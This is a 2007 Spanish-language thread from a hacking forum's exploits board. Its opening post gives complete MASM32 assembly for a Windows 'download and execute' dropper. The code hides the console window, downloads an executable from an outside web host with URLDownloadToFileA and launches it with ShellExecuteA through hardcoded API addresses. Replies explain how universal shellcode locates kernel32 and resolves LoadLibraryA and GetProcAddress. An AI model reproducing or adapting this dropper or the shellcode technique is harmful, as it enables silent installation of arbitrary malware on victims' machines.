elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 05:54  


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  ASM: Descarga y ejecucion
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ASM: Descarga y ejecucion  (Leído 2,372 veces)
Rozor

Desconectado Desconectado

Mensajes: 269


As I Walk Through The Valley Of The Shadow Of Dead


Ver Perfil WWW
ASM: Descarga y ejecucion
« en: 21 Septiembre 2007, 00:07 »

Código:
; Download and Execute by xZR !Sub_Level
; http://sincontrol.tomahost.org/code/xZdownExe.asm
; masm32
; WinXP ES SP2

.586p
.MODEL FLAT, STDCALL

include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib



.DATA

  Consola db "ConsoleWindowClass",0
  Direccion db "http://sincontrol.tomahost.org/lilak.exe",0
  Descarga db "lilak.exe",0
  Orden db "open",0
  UrlMon db "urlmon.dll",0
  Shell db "shell32.dll",0
  User db "user32.dll",0
  Kernel db "kernel32.dll",0


.CODE

  Inicio:

          xor eax, eax
          push offset User
          call LoadLibrary

          xor ecx, ecx
          push ecx
          push offset Consola
          mov ebx, 7e3ade87h ; FindWindowA
          call ebx

          xor ecx, ecx
          push ecx
          push eax
          mov ebx, 7e39d8a4h ; ShowWindow
          call ebx
         

          xor eax, eax
          push offset UrlMon
          call LoadLibrary

          xor ecx, ecx
          push ecx
          push ecx
          push offset Descarga
          push offset Direccion
          push ecx
          mov ebx, 7df7b16fh  ; URLDownloadToFileA
          call ebx

          push offset Shell
          call LoadLibrary
         
          xor ecx, ecx
          push ecx
          push ecx
          push ecx
          push offset Descarga
          push offset Orden
          push ecx
          mov ebx,  7ca50ec0h ; ShellExecuteA
          call ebx

          xor eax, eax
          push offset Kernel
          call LoadLibrary
         
          xor ecx, ecx
          push ecx
          mov ebx, 7c81cddah ; ExitProcess
          call ebx
          ret

end Inicio
En línea

out in the streets they call it murder....
Ferсhu


Desconectado Desconectado

Mensajes: 1.213

Menos palabras y Mas codigos.


Ver Perfil WWW
Re: ASM: Descarga y ejecucion
« Respuesta #1 en: 21 Septiembre 2007, 00:27 »

Citar
          push offset User
          call LoadLibrary

Citar
          push offset Kernel
          call LoadLibrary

Aca hay algo q no entiendo, si esta usando LoadLibrary, y si la esta usando por q dsp carga kernel32.dll. O al revez como puede ser q use Loadlibrary si no habia cargado el kernell32.dll

ademas no seria:

mov ebx, ######h (el offset de la funcion LoadLibrary)
push "argumentos"
call ebx


Sera por q el masm32 en kernel32.lib tiene loadlibrary pero no tiene a exitprocess  :-\
En línea

Rozor

Desconectado Desconectado

Mensajes: 269


As I Walk Through The Valley Of The Shadow Of Dead


Ver Perfil WWW
Re: ASM: Descarga y ejecucion
« Respuesta #2 en: 21 Septiembre 2007, 00:32 »

nop, fue por simple entretenimiento si tiene exitprocess, y lo de mov ebx, ... y luego push que mas da?, al hacer push no cambias ebx.
En línea

out in the streets they call it murder....
Achernar


Desconectado Desconectado

Mensajes: 317



Ver Perfil
Re: ASM: Descarga y ejecucion
« Respuesta #3 en: 24 Septiembre 2007, 05:40 »

Tendrias que tener solo harcodeada la direccion del loadlibraryA Y GetProcAddress (creo que era algo asi) y despues con esas encontrar todas las demas direcciones que necesitas.

Con la llamada a loadlibraryA  en eax queda un valor que se usa como parametro para llamar a GetProcAdress junto con la cadena del nombre de la funcion de la cual queres la direccion.

Las shellcodes universales lo unico que hacen es es buscar la direccion base de kernel32 por algun metodo (PEB por ejemplo) y despues buscar en la ETables las direcciondes de LoadLibraryA y GetProcAddress.

Y otra cosa si es una shellcode.. ya sea universal o harcodeada no tendrias porque usar esto

include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

« Última modificación: 24 Septiembre 2007, 05:43 por Achernar » En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines